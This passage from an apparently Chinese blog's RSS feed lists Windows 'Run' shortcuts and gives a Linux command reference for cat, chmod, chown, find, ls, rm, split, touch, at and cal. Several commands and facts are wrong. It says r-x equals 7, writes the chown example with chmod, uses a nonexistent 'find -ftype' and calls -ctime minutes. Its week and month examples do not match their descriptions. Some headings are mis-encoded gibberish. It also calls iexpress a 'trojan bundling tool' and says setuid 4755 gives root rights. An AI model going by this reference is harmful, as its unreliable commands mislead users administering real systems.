/>diskmgmt.msc---磁盘管理实用程序<br />dcomcnfg-------打开系统组件服务<br />ddeshare-------打开DDE共享设置<br />dvdplay--------DVD播放器<br />net stop messenger-----停止信使服务<br />net start messenger----开始信使服务 <br />notepad--------打开记事本<br />nslookup-------网络管理的工具向导<br />ntbackup-------系统备份和还原<br />narrator-------屏幕"讲述人"<br />ntmsmgr.msc----移动存储管理器<br />ntmsoprq.msc---移动存储管理员操作请求<br />netstat -an----(TC)命令检查接口<br />syncapp--------创建一个公文包<br />sysedit--------系统配置编辑器<br />sigverif-------文件签名验证程序<br />sndrec32-------录音机<br />shrpubw--------创建共享文件夹<br />secpol.msc-----本地安全策略<br />syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码<br />services.msc---本地服务设置<br />Sndvol32-------音量控制程序<br />sfc.exe--------系统文件检查器<br />sfc /scannow---windows文件保护<br />tsshutdn-------60秒倒计时关机命令<br />tourstart------xp简介（安装完成后出现的漫游xp程序）<br />taskmgr--------任务管理器<br />eventvwr-------事件查看器<br />eudcedit-------造字程序 <br />explorer-------打开资源管理器<br />packager-------对象包装程序<br />perfmon.msc----计算机性能监测程序<br />progman--------程序管理器<br />regedit.exe----注册表 <br />rsop.msc-------组策略结果集<br />regedt32-------注册表编辑器<br />rononce -p ----15秒关机<br />regsvr32 /u *.dll----停止dll文件运行<br />regsvr32 /u zipfldr.dll------取消ZIP支持<br />cmd.exe--------CMD命令提示符<br />chkdsk.exe-----Chkdsk磁盘检查<br />certmgr.msc----证书管理实用程序<br />calc-----------启动计算器<br />charmap--------启动字符映射表<br />cliconfg-------SQL SERVER 客户端网络实用程序<br />Clipbrd--------剪贴板查看器<br />conf-----------启动netmeeting<br />compmgmt.msc---计算机管理<br />cleanmgr-------**整理<br />ciadv.msc------索引服务程序<br />osk------------打开屏幕键盘<br />odbcad32-------ODBC数据源管理器<br />oobe/msoobe /a----检查XP是否激活<br />lusrmgr.msc----本机用户和组<br />logoff---------注销命令<br />iexpress-------木马捆绑工具，系统自带<br />Nslookup-------IP地址侦测器<br />fsmgmt.msc-----共享文件夹管理器<br />utilman--------辅助工具管理器<br />gpedit.msc-----组策略 <br /><br /><br /></div><img src ="http://www.blogjava.net/Alpha/aggbug/89435.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/Alpha/" target="_blank">Alpha</a> 2006-12-22 09:46 <a href="http://www.blogjava.net/Alpha/articles/89435.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>系统运行命令全集</title><link>http://www.blogjava.net/Alpha/articles/8013.html</link><dc:creator>Alpha</dc:creator><author>Alpha</author><pubDate>Tue, 19 Jul 2005 12:34:00 GMT</pubDate><guid>http://www.blogjava.net/Alpha/articles/8013.html</guid><wfw:comment>http://www.blogjava.net/Alpha/comments/8013.html</wfw:comment><comments>http://www.blogjava.net/Alpha/articles/8013.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/Alpha/comments/commentRss/8013.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/Alpha/services/trackbacks/8013.html</trackback:ping><description><![CDATA[系统运行命令全集<BR>&nbsp; <BR>&nbsp; gpedit.msc-----组策略 sndrec32-------录音机<BR>&nbsp; Nslookup-------IP地址侦测器 explorer-------打开资源管理器<BR>&nbsp; logoff---------注销命令 tsshutdn-------60秒倒计时关机命令<BR>&nbsp; lusrmgr.msc----本机用户和组 services.msc---本地服务设置<BR>&nbsp; oobe/msoobe /a----检查XP是否激活 notepad--------打开记事本<BR>&nbsp; cleanmgr-------垃圾整理 <BR>&nbsp; net start messenger----开始信使服务<BR>&nbsp; compmgmt.msc---计算机管理<BR>&nbsp; net stop messenger-----停止信使服务<BR>&nbsp; conf-----------启动netmeeting dvdplay--------DVD播放器<BR>&nbsp; charmap--------启动字符映射表 diskmgmt.msc---磁盘管理实用程序<BR>&nbsp; calc-----------启动计算器 dfrg.msc-------磁盘碎片整理程序<BR>&nbsp; chkdsk.exe-----Chkdsk磁盘检查 devmgmt.msc--- 设备管理器<BR>&nbsp; regsvr32 /u *.dll----停止dll文件运行 drwtsn32------ 系统医生<BR>&nbsp; rononce -p ----15秒关机 dxdiag---------检查DirectX信息<BR>&nbsp; regedt32-------注册表编辑器 Msconfig.exe---系统配置实用程序<BR>&nbsp; rsop.msc-------组策略结果集 mem.exe--------显示内存使用情况<BR>&nbsp; regedit.exe----注册表 winchat--------XP自带局域网聊天<BR>&nbsp; progman--------程序管理器 winmsd---------系统信息<BR>&nbsp; perfmon.msc----计算机性能监测程序 winver---------检查Windows版本 <BR>&nbsp; sfc /scannow-----扫描错误并复原<BR>&nbsp; taskmgr-----任务管理器<img src ="http://www.blogjava.net/Alpha/aggbug/8013.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/Alpha/" target="_blank">Alpha</a> 2005-07-19 20:34 <a href="http://www.blogjava.net/Alpha/articles/8013.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Linux命令全集</title><link>http://www.blogjava.net/Alpha/articles/8012.html</link><dc:creator>Alpha</dc:creator><author>Alpha</author><pubDate>Tue, 19 Jul 2005 12:33:00 GMT</pubDate><guid>http://www.blogjava.net/Alpha/articles/8012.html</guid><wfw:comment>http://www.blogjava.net/Alpha/comments/8012.html</wfw:comment><comments>http://www.blogjava.net/Alpha/articles/8012.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/Alpha/comments/commentRss/8012.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/Alpha/services/trackbacks/8012.html</trackback:ping><description><![CDATA[<p>
				<font color="#0000ff">名称：cat</font>
				<br />使用权限：所有使用者<br />使用方式：cat [-AbeEnstTuv] [--help] [--version] fileName<br />说明：把档案串连接后传到基本输出（萤幕或加 &gt; fileName 到另一个档案）<br />参数：<br />-n 或 --number 由 1 开始对所有输出的行数编号<br />-b 或 --number-nonblank 和 -n 相似，只不过对于空白行不编号<br />-s 或 --squeeze-blank 当遇到有连续两行以上的空白行，就代换为一行的空白行<br />-v 或 --show-nonprinting</p>
		<p>范例：<br />cat -n textfile1 &gt; textfile2 把 textfile1 的档案内容加上行号后输入 textfile2 这个档案里<br />cat -b textfile1 textfile2 &gt;&gt; textfile3 把 textfile1 和 textfile2 的档案内容加上行号（空白行不加）之后将内容附加到 textfile3</p>
		<p>
				<font color="#0000ff">名称 : cd</font>
				<br />使用权限 : 所有使用者</p>
		<p>使用方式 : cd [dirName]</p>
		<p>说明 : 变换工作目录至 dirName。 其中 dirName 表示法可为绝对路径或相对路径。若目录名称省略，则变换至使用者的 home directory (也就是刚 login 时所在的目录)。</p>
		<p>另外，"~" 也表示为 home directory 的意思，"." 则是表示目前所在的目录，".." 则表示目前目录位置的上一层目录。</p>
		<p>范例 : 跳到 /usr/bin/ :<br />cd /usr/bin</p>
		<p>跳到自己的 home directory :<br />cd ~</p>
		<p>跳到目前目录的上上两层 :<br />cd ../..</p>
		<p>
				<br />
				<font color="#0000ff">指令名称 : chmod</font>
				<br />使用权限 : 所有使用者</p>
		<p>使用方式 : chmod [-cfvR] [--help] [--version] mode file...</p>
		<p>说明 : Linux/Unix 的档案存取权限分为三级 : 档案拥有者、群组、其他。利用 chmod 可以藉以控制档案如何被他人所存取。</p>
		<p>把计 :</p>
		<p>mode : 权限设定字串，格式如下 : [ugoa...][[+-=][rwxX]...][,...]，其中u 表示该档案的拥有者，g 表示与该档案的拥有者属于同一个群体(group)者，o 表示其他以外的人，a 表示这三者皆是。<br />+ 表示增加权限、- 表示取消权限、= 表示唯一设定权限。<br />r 表示可读取，w 表示可写入，x 表示可执行，X 表示只有当该档案是个子目录或者该档案已经被设定过为可执行。<br />-c : 若该档案权限确实已经更改，才显示其更改动作<br />-f : 若该档案权限无法被更改也不要显示错误讯息<br />-v : 显示权限变更的详细资料<br />-R : 对目前目录下的所有档案与子目录进行相同的权限变更(即以递回的方式逐个变更)<br />--help : 显示辅助说明<br />--version : 显示版本</p>
		<p>范例 :将档案 file1.txt 设为所有人皆可读取 :<br />chmod ugo+r file1.txt</p>
		<p>将档案 file1.txt 设为所有人皆可读取 :<br />chmod a+r file1.txt</p>
		<p>将档案 file1.txt 与 file2.txt 设为该档案拥有者，与其所属同一个群体者可写入，但其他以外的人则不可写入 :<br />chmod ug+w,o-w file1.txt file2.txt</p>
		<p>将 ex1.py 设定为只有该档案拥有者可以执行 :<br />chmod u+x ex1.py</p>
		<p>将目前目录下的所有档案与子目录皆设为任何人可读取 :<br />chmod -R a+r *</p>
		<p>此外chmod也可以用数字来表示权限如 chmod 777 file<br />语法为：chmod abc file</p>
		<p>其中a,b,c各为一个数字，分别表示User、Group、及Other的权限。</p>
		<p>r=4，w=2，x=1<br />若要rwx属性则4+2+1=7；<br />若要rw-属性则4+2=6；<br />若要r-x属性则4+1=7。</p>
		<p>范例：<br />chmod a=rwx file</p>
		<p>和<br />chmod 777 file</p>
		<p>效果相同<br />chmod ug=rwx,o=x file</p>
		<p>和<br />chmod 771 file</p>
		<p>效果相同</p>
		<p> </p>
		<p>若用chmod 4755 filename可使此程式具有root的权限</p>
		<p>
				<br />
				<font color="#0000ff">指令名称 : chown<br /></font>使用权限 : root</p>
		<p>使用方式 : chmod [-cfhvR] [--help] [--version] user[:group] file...</p>
		<p>说明 : Linux/Unix 是多人多工作业系统，所有的档案皆有拥有者。利用 chown 可以将档案的拥有者加以改变。一般来说，这个指令只有是由系统管理者(root)所使用，一般使用者没有权限可以改变别人的档案拥有者，也没有权限可以自己的档案拥有者改设为别人。只有系统管理者(root)才有这样的权限。</p>
		<p>把计 :</p>
		<p>user : 新的档案拥有者的使用者 IDgroup : 新的档案拥有者的使用者群体(group)-c : 若该档案拥有者确实已经更改，才显示其更改动作-f : 若该档案拥有者无法被更改也不要显示错误讯息-h : 只对于连结(link)进行变更，而非该 link 真正指向的档案-v : 显示拥有者变更的详细资料-R : 对目前目录下的所有档案与子目录进行相同的拥有者变更(即以递回的方式逐个变更)--help : 显示辅助说明--version : 显示版本</p>
		<p>范例 :<br />将档案 file1.txt 的拥有者设为 users 群体的使用者 jessie :<br />chown jessie:users file1.txt</p>
		<p>将目前目录下的所有档案与子目录的拥有者皆设为 users 群体的使用者 lamport :<br />chmod -R lamport:users *</p>
		<p>
				<br />
				<font color="#0000ff">名称：cp<br /></font>使用权限：所有使用者</p>
		<p>使用方式：</p>
		<p>cp [options] source dest<br />cp [options] source... directory</p>
		<p>说明：将一个档案拷贝至另一档案，或将数个档案拷贝至另一目录。</p>
		<p>把计 </p>
		<p>-a 尽可能将档案状态、权限等资料都照原状予以复制。<br />-r 若 source 中含有目录名，则将目录下之档案亦皆依序拷贝至目的地。<br />-f 若目的地已经有相同档名的档案存在，则在复制前先予以删除再行复制。<br />范例：<br />将档案 aaa 复制(已存在)，并命名为 bbb :<br />cp aaa bbb</p>
		<p>将所有的C语言程式拷贝至 Finished 子目录中 :<br />cp *.c Finished</p>
		<p>
				<br />
				<font color="#0000ff">名称：cut</font>
		</p>
		<p>使用权限：所有使用者</p>
		<p>用法：cut -cnum1-num2 filename</p>
		<p>说明：显示每行从开头算起 num1 到 num2 的文字。</p>
		<p>范例：</p>
		<p>shell&gt;&gt; cat example<br />test2<br />this is test1<br />shell&gt;&gt; cut -c0-6 example ## print 开头算起前 6 个字元<br />test2<br />this i</p>
		<p>
				<br />
				<font color="#0000ff">名称 : find</font>
				<br />用法 : find<br />使用说明 :</p>
		<p>将档案系统内符合 expression 的档案列出来。你可以指要档案的名称、类别、时间、大小、权限等不同资讯的组合，只有完全相符的才会被列出来。</p>
		<p>find 根据下列规则判断 path 和 expression，在命令列上第一个 - ( ) , ! 之前的部份为 path，之后的是 expression。如果 path 是空字串则使用目前路径，如果 expression 是空字串则使用 -print 为预设 expression </p>
		<p>expression 中可使用的选项有二三十个之多，在此只介绍最常用的部份。</p>
		<p>-mount, -xdev : 只检查和指定目录在同一个档案系统下的档案，避免列出其它档案系统中的档案<br />-amin n : 在过去 n 分钟内被读取过<br />-anewer file : 比档案 file 更晚被读取过的档案<br />-atime n : 在过去 n 天过读取过的档案<br />-cmin n : 在过去 n 分钟内被修改过<br />-cnewer file :比档案 file 更新的档案<br />-ctime n : 在过去 n 天过修改过的档案<br />-empty : 空的档案-gid n or -group name : gid 是 n 或是 group 名称是 name<br />-ipath p, -path p : 路径名称符合 p 的档案，ipath 会忽略大小写<br />-name name, -iname name : 档案名称符合 name 的档案。iname 会忽略大小写<br />-size n : 档案大小 是 n 单位，b 代表 512 位元组的区块，c 表示字元数，k 表示 kilo bytes，w 是二个位元组。-type c : 档案类型是 c 的档案。<br />d: 目录<br />c: 字型装置档案<br />b: 区块装置档案<br />p: 具名贮列<br />f: 一般档案<br />l: 符号连结<br />s: socket<br />-pid n : process id 是 n 的档案</p>
		<p>你可以使用 ( ) 将运算式分隔，并使用下列运算。<br />exp1 -and exp2<br />! expr<br />-not expr<br />exp1 -or exp2<br />exp1, exp2<br />范例:<br />将目前目录及其子目录下所有延伸档名是 c 的档案列出来。<br /># find . -name "*.c"</p>
		<p>
				<br />将目前目录其其下子目录中所有一般档案列出<br /># find . -ftype f</p>
		<p>
				<br />将目前目录及其子目录下所有最近 20 分钟内更新过的档案列出<br /># find . -ctime -20</p>
		<p>
				<br />
				<font color="#0000ff">名称：less</font>
		</p>
		<p>使用权限：所有使用者</p>
		<p>使用方式：</p>
		<p>less [Option] filename</p>
		<p>说明：<br />less 的作用与 more 十分相似，都可以用来浏览文字档案的内容，不同的是 less 允许使用者往回卷动<br />以浏览已经看过的部份，同时因为 less 并未在一开始就读入整个档案，因此在遇上大型档案的开启时，会比一般的文书编辑器(如 vi)来的快速。</p>
		<p>
				<br />范例：</p>
		<p>
				<br />
				<font color="#0000ff">指令名称 : ln</font>
				<br />使用权限 : 所有使用者</p>
		<p>使用方式 : ln [options] source dist，其中 option 的格式为 :</p>
		<p>[-bdfinsvF] [-S backup-suffix] [-V {numbered,existing,simple}]<br />[--help] [--version] [--]<br />说明 : Linux/Unix 档案系统中，有所谓的连结(link)，我们可以将其视为档案的别名，而连结又可分为两种 : 硬连结(hard link)与软连结(symbolic link)，硬连结的意思是一个档案可以有多个名称，而软连结的方式则是产生一个特殊的档案，该档案的内容是指向另一个档案的位置。硬连结是存在同一个档案系统中，而软连结却可以跨越不同的档案系统。<br />ln source dist 是产生一个连结(dist)到 source，至于使用硬连结或软链结则由参数决定。</p>
		<p>不论是硬连结或软链结都不会将原本的档案复制一份，只会占用非常少量的磁碟空间。</p>
		<p>
				<br />-f : 链结时先将与 dist 同档名的档案删除-d : 允许系统管理者硬链结自己的目录-i : 在删除与 dist 同档名的档案时先进行询问-n : 在进行软连结时，将 dist 视为一般的档案-s : 进行软链结(symbolic link)-v : 在连结之前显示其档名-b : 将在链结时会被覆写或删除的档案进行备份-S SUFFIX : 将备份的档案都加上 SUFFIX 的字尾-V METHOD : 指定备份的方式--help : 显示辅助说明--version : 显示版本<br />范例 :<br />将档案 yy 产生一个 symbolic link : zz<br />ln -s yy zz</p>
		<p>将档案 yy 产生一个 hard link : zz<br />ln yy xx</p>
		<p>
				<br />
				<font color="#0000ff">名称：locate</font>
				<br />使用权限：所有使用者<br />使用方式： locate [-q] [-d ] [--database=]<br />locate [-r ] [--regexp=]<br />locate [-qv] [-o ] [--output=]<br />locate [-e ] [-f ] &lt;[-l ] [-c]<br />&lt;[-U ] [-u]&gt;<br />locate [-Vh] [--version] [--help]<br />说明：<br />locate 让使用者可以很快速的搜寻档案系统内是否有指定的档案。其方法是先建立一个包括系统内所有档案名称及路径的资料库，之后当寻找时就只需查询这个资料库，而不必实际深入档案系统之中了。</p>
		<p>在一般的 distribution 之中，资料库的建立都被放在 contab 中自动执行。一般使用者在使用时只要用</p>
		<p># locate your_file_name</p>
		<p>的型式就可以了。 参数：<br />-u<br />-U</p>
		<p>建立资料库，-u 会由根目录开始，-U 则可以指定开始的位置。</p>
		<p>-e</p>
		<p>将<br />排除在寻找的范围之外。</p>
		<p>-l<br />如果 是 1．则启动安全模式。在安全模式下，使用者不会看到权限无法看到的档案。这会始速度减慢，因为 locate 必须至实际的档案系统中取得档案的权限资料。</p>
		<p>-f<br />将特定的档案系统排除在外，例如我们没有到理要把 proc 档案系统中的档案放在资料库中。</p>
		<p>-q<br />安静模式，不会显示任何错误讯息。</p>
		<p>-n<br />至多显示 个输出。</p>
		<p>-r<br />使用正规运算式 做寻找的条件。</p>
		<p>-o<br />指定资料库存的名称。</p>
		<p>-d</p>
		<p>指定资料库的路径</p>
		<p>-h<br />显示辅助讯息</p>
		<p>-v<br />显示更多的讯息</p>
		<p>-V<br />显示程式的版本讯息 范例：</p>
		<p>locate chdrv : 寻找所有叫 chdrv 的档案<br />locate -n 100 a.out : 寻找所有叫 a.out 的档案，但最多只显示 100 个<br />locate -u : 建立资料库</p>
		<p>
				<br />
				<font color="#0000ff">名称 : ls</font>
				<br />使用权限 : 所有使用者</p>
		<p>使用方式 : ls [-alrtAFR] [name...]</p>
		<p>说明 : 显示指定工作目录下之内容（列出目前工作目录所含之档案及子目录)。</p>
		<p>
				<br />-a 显示所有档案及目录 (ls内定将档案名或目录名称开头为"."的视为隐藏档，不会列出)<br />-l 除档案名称外，亦将档案型态、权限、拥有者、档案大小等资讯详细列出<br />-r 将档案以相反次序显示(原定依英文字母次序)<br />-t 将档案依建立时间之先后次序列出<br />-A 同 -a ，但不列出 "." (目前目录) 及 ".." (父目录)<br />-F 在列出的档案名称后加一符号；例如可执行档则加 "*", 目录则加 "/"<br />-R 若目录下有档案，则以下之档案亦皆依序列出</p>
		<p>范例：<br />列出目前工作目录下所有名称是 s 开头的档案，愈新的排愈后面 :<br />ls -ltr s*</p>
		<p>将 /bin 目录以下所有目录及档案详细资料列出 :<br />ls -lR /bin</p>
		<p>列出目前工作目录下所有档案及目录；目录于名称后加 "/", 可执行档于名称后加 "*" :<br />ls -AF</p>
		<p>
				<font color="#0000ff">名称：more</font>
				<br />使用权限：所有使用者<br />使用方式：more [-dlfpcsu] [-num] [+/pattern] [+linenum] [fileNames..]<br />说明：类似 cat ，不过会以一页一页的显示方便使用者逐页阅读，而最基本的指令就是按空白键（space）就往下一页显示，按 b 键就会往回（back）一页显示，而且还有搜寻字串的功能（与 vi 相似），使用中的说明文件，请按 h 。<br />参数：-num 一次显示的行数<br />-d 提示使用者，在画面下方显示 [Press space to continue, q to quit.] ，如果使用者按错键，则会显示 [Press h for instructions.] 而不是哔声<br />-l 取消遇见特殊字元 ^L（送纸字元）时会暂停的功能<br />-f 计算行数时，以实际上的行数，而非自动换行过后的行数（有些单行字数太长的会被扩展为两行或两行以上）<br />-p 不以卷动的方式显示每一页，而是先清除萤幕后再显示内容<br />-c 跟 -p 相似，不同的是先显示内容再清除其他旧资料<br />-s 当遇到有连续两行以上的空白行，就代换为一行的空白行<br />-u 不显示下引号 （根据环境变数 TERM 指定的 terminal 而有所不同）<br />+/ 在每个档案显示前搜寻该字串（pattern），然后从该字串之后开始显示<br />+num 从第 num 行开始显示<br />fileNames 欲显示内容的档案，可为复数个数<br />范例：<br />more -s testfile 逐页显示 testfile 之档案内容，如有连续两行以上空白行则以一行空白行显示。<br />more +20 testfile 从第 20 行开始显示 testfile 之档案内容。</p>
		<p>
				<br />
				<font color="#0000ff">名称：mv<br /></font>使用权限：所有使用者</p>
		<p>使用方式：</p>
		<p>mv [options] source dest<br />mv [options] source... directory<br />说明：将一个档案移至另一档案，或将数个档案移至另一目录。<br />参数：-i 若目的地已有同名档案，则先询问是否覆盖旧档。</p>
		<p>范例：</p>
		<p>将档案 aaa 更名为 bbb :<br />mv aaa bbb</p>
		<p>将所有的C语言程式移至 Finished 子目录中 :<br />mv -i *.c</p>
		<p>
				<br />
				<font color="#0000ff">名称：rm</font>
				<br />使用权限：所有使用者</p>
		<p>使用方式：rm [options] name...</p>
		<p>说明：删除档案及目录。</p>
		<p>把计 </p>
		<p>-i 删除前逐一询问确认。<br />-f 即使原档案属性设为唯读，亦直接删除，无需逐一确认。<br />-r 将目录及以下之档案亦逐一删除。<br />范例：<br />删除所有C语言程式档；删除前逐一询问确认 :<br />rm -i *.c</p>
		<p>将 Finished 子目录及子目录中所有档案删除 :<br />rm -r Finished</p>
		<p>
				<br />
				<font color="#0000ff">名称：rmdir</font>
				<br />使用权限：于目前目录有适当权限的所有使用者</p>
		<p>使用方式： rmdir [-p] dirName</p>
		<p>说明： 删除空的目录。</p>
		<p>参数： -p 是当子目录被删除后使它也成为空目录的话，则顺便一并删除。</p>
		<p>范例：</p>
		<p>将工作目录下，名为 AAA 的子目录删除 :<br />rmdir AAA</p>
		<p>在工作目录下的 BBB 目录中，删除名为 Test 的子目录。若 Test 删除后，BBB 目录成为空目录，则 BBB 亦予删除。<br />rmdir -p BBB/Test</p>
		<p>
				<br />
				<font color="#0000ff">名称：split<br /></font>使用权限：所有使用者</p>
		<p>使用方式：split [OPTION] [INPUT [PREFIX]]</p>
		<p>说明：</p>
		<p>将一个档案分割成数个。而从 INPUT 分割输出成固定大小的档案，其档名依序为 PREFIXaa, PREFIXab...；PREFIX 预设值为 ****x。若没有 INPUT 档或为 ****-，则从标准输入读进资料。</p>
		<p>匡兜 </p>
		<p>-b, --bytes=SIZE</p>
		<p>SIZE 值为每一输出档案的大小，单位为 byte。<br />-C, --line-bytes=SIZE</p>
		<p>每一输出档中，单行的最大 byte 数。<br />-l, --lines=NUMBER</p>
		<p>NUMBER 值为每一输出档的列数大小。<br />-NUMBER</p>
		<p>与 -l NUMBER 相同。<br />--verbose</p>
		<p>于每个输出档被开启前，列印出侦错资讯到标准错误输出。<br />--help</p>
		<p>显示辅助资讯然后离开。<br />--version</p>
		<p>列出版本资讯然后离开。<br />SIZE 可加入单位: b 代表 512， k 代表 1K， m 代表 1 Meg。</p>
		<p>范例：</p>
		<p>PostgresSQL 大型资料库备份与回存：</p>
		<p>因 Postgres 允许表格大过你系统档案的最大容量，所以要将表格 dump 到单一的档案可能会有问题，使用 split进行档案分割。</p>
		<p>
				<br />% pg_dump dbname | split -b 1m - filename.dump.</p>
		<p>
				<br />重新载入</p>
		<p>
				<br />% createdb dbname<br />% cat filename.dump.* | pgsql dbname</p>
		<p>
				<br />
				<font color="#0000ff">名称：touch<br /></font>使用权限：所有使用者</p>
		<p>使用方式：<br />touch [-acfm]<br />[-r reference-file] [--file=reference-file]<br />[-t MMDDhhmm[[CC]YY][.ss]]<br />[-d time] [--date=time] [--time={atime,access,use,mtime,modify}]<br />[--no-create] [--help] [--version]<br />file1 [file2 ...]</p>
		<p>
				<br />说明：<br />touch 指令改变档案的时间记录。 ls -l 可以显示档案的时间记录。</p>
		<p>
				<br />参数：<br />a 改变档案的读取时间记录。<br />m 改变档案的修改时间记录。<br />c 假如目的档案不存在，不会建立新的档案。与 --no-create 的效果一样。<br />f 不使用，是为了与其他 unix 系统的相容性而保留。<br />r 使用参考档的时间记录，与 --file 的效果一样。<br />d 设定时间与日期，可以使用各种不同的格式。<br />t 设定档案的时间记录，格式与 date 指令相同。<br />--no-create 不会建立新档案。<br />--help 列出指令格式。<br />--version 列出版本讯息。</p>
		<p>
				<br />范例：</p>
		<p>
				<br />最简单的使用方式，将档案的时候记录改为现在的时间。若档案不存在，系统会建立一个新的档案。</p>
		<p>touch file<br />touch file1 file2</p>
		<p>将 file 的时间记录改为 5 月 6 日 18 点 3 分，公元两千年。时间的格式可以参考 date 指令，至少需输入 MMDDHHmm ，就是月日时与分。</p>
		<p>touch -c -t 05061803 file<br />touch -c -t 050618032000 file</p>
		<p>将 file 的时间记录改变成与 referencefile 一样。</p>
		<p>touch -r referencefile file</p>
		<p>将 file 的时间记录改成 5 月 6 日 18 点 3 分，公元两千年。时间可以使用 am, pm 或是 24 小时的格式，日期可以使用其他格式如 6 May 2000 。</p>
		<p>touch -d "6:03pm" file<br />touch -d "05/06/2000" file<br />touch -d "6:03pm 05/06/2000" file<br /><br /><font color="#0000ff">名称 : at</font><br />使用权限 : 所有使用者</p>
		<p>使用方式 : at -V [-q queue] [-f file] [-mldbv] TIME</p>
		<p>说明 : at 可以让使用者指定在 TIME 这个特定时刻执行某个程式或指令，TIME 的格式是 HH:MM其中的 HH 为小时，MM 为分钟，甚至你也可以指定 am, pm, midnight, noon, teatime(就是下午 4 点锺)等口语词。</p>
		<p>如果想要指定超过一天内的时间，则可以用 MMDDYY 或者 MM/DD/YY 的格式，其中 MM 是分钟，DD 是第几日，YY 是指年份。另外，使用者甚至也可以使用像是 now + 时间间隔来弹性指定时间，其中的时间间隔可以是 minutes, hours, days, weeks </p>
		<p>另外，使用者也可指定 today 或 tomorrow 来表示今天或明天。当指定了时间并按下 enter 之后，at 会进入交谈模式并要求输入指令或程式，当你输入完后按下 ctrl+D 即可完成所有动作，至于执行的结果将会寄回你的帐号中。</p>
		<p>把计 :</p>
		<p>-V : 印出版本编号<br />-q : 使用指定的伫列(Queue)来储存，at 的资料是存放在所谓的 queue 中，使用者可以同时使用多个 queue，而 queue 的编号为 a, b, c... z 以及 A, B, ... Z 共 52 个<br />-m : 即使程式/指令执行完成后没有输出结果, 也要寄封信给使用者<br />-f file : 读入预先写好的命令档。使用者不一定要使用交谈模式来输入，可以先将所有的指定先写入档案后再一次读入<br />-l : 列出所有的指定 (使用者也可以直接使用 atq 而不用 at -l)<br />-d : 删除指定 (使用者也可以直接使用 atrm 而不用 at -d)<br />-v : 列出所有已经完成但尚未删除的指定</p>
		<p>例子 :<br />三天后的下午 5 点锺执行 /bin/ls :<br />at 5pm + 3 days /bin/ls</p>
		<p>三个星期后的下午 5 点锺执行 /bin/ls :<br />at 5pm + 2 weeks /bin/ls</p>
		<p>明天的 17:20 执行 /bin/date :<br />at 17:20 tomorrow /bin/date</p>
		<p>1999 年的最后一天的最后一分钟印出 the end of world !<br />at 23:59 12/31/1999 echo the end of world !</p>
		<p>--------------------------------------------------------------------------------<br /> <br />--  作者：babyz<br />--  发布时间：2004-2-3 1:23:26</p>
		<p>--  <br /><font color="#0000ff">名称：cal</font></p>
		<p>使用权限：所有使用者</p>
		<p>使用方式：cal [-mjy] [month [year]]</p>
		<p>说明：</p>
		<p>显示日历。若只有一个参数，则代表年份(1-9999)，显示该年的年历。年份必须全部写出：********cal 89 将不会是显示 1989 年的年历。使用两个参数，则表示月份及年份。若没有参数则显示这个月的月历。<br />1752 年 9 月第 3 日起改用西洋新历，因这时大部份的国家都采用新历，有 10 天被去除，所以该月份的月历有些不同。在此之前为西洋旧历。</p>
		<p>匡兜 </p>
		<p>-m : 以星期一为每周的第一天方式显示。<br />-j : 以凯撒历显示，即以一月一日起的天数显示。<br />-y : 显示今年年历。</p>
		<p>范例：</p>
		<p>cal : 显示本月的月历。</p>
		<p>
				<br />[root@mylinux /root]# date<br />Tue Aug 15 08:00:18 CST 2000<br />[root@mylinux /root]# cal<br />August 2000<br />Su Mo Tu We Th Fr Sa<br />1 2 3 4 5<br />6 7 8 9 10 11 12<br />13 14 15 16 17 18 19<br />20 21 22 23 24 25 26<br />27 28 29 30 31</p>
		<p>[root@mylinux /root]#</p>
		<p>
				<br />cal 2001 : 显示公元 2001 年年历。</p>
		<p>[root@mylinux /root]# cal 2001<br />2001</p>
		<p>January February March<br />Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa<br />1 2 3 4 5 6 1 2 3 1 2 3<br />7 8 9 10 11 12 13 4 5 6 7 8 9 10 4 5 6 7 8 9 10<br />14 15 16 17 18 19 20 11 12 13 14 15 16 17 11 12 13 14 15 16 17<br />21 22 23 24 25 26 27 18 19 20 21 22 23 24 18 19 20 21 22 23 24<br />28 29 30 31 25 26 27 28 25 26 27 28 29 30 31</p>
		<p>April May June<br />Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa<br />1 2 3 4 5 6 7 1 2 3 4 5 1 2<br />8 9 10 11 12 13 14 6 7 8 9 10 11 12 3 4 5 6 7 8 9<br />15 16 17 18 19 20 21 13 14 15 16 17 18 19 10 11 12 13 14 15 16<br />22 23 24 25 26 27 28 20 21 22 23 24 25 26 17 18 19 20 21 22 23<br />29 30 27 28 29 30 31 24 25 26 27 28 29 30</p>
		<p>July August September<br />Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa<br />1 2 3 4 5 6 7 1 2 3 4 1<br />8 9 10 11 12 13 14 5 6 7 8 9 10 11 2 3 4 5 6 7 8<br />15 16 17 18 19 20 21 12 13 14 15 16 17 18 9 10 11 12 13 14 15<br />22 23 24 25 26 27 28 19 20 21 22 23 24 25 16 17 18 19 20 21 22<br />29 30 31 26 27 28 29 30 31 23 24 25 26 27 28 29<br />30<br />October November December<br />Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa<br />1 2 3 4 5 6 1 2 3 1<br />7 8 9 10 11 12 13 4 5 6 7 8 9 10 2 3 4 5 6 7 8<br />14 15 16 17 18 19 20 11 12 13 14 15 16 17 9 10 11 12 13 14 15<br />21 22 23 24 25 26 27 18 19 20 21 22 23 24 16 17 18 19 20 21 22<br />28 29 30 31 25 26 27 28 29 30 23 24 25 26 27 28 29<br />30 31</p>
		<p>[root@mylinux /root]#</p>
		<p> </p>
		<p>cal 5 2001 : 显示公元 2001 年 5 月月历。</p>
		<p>
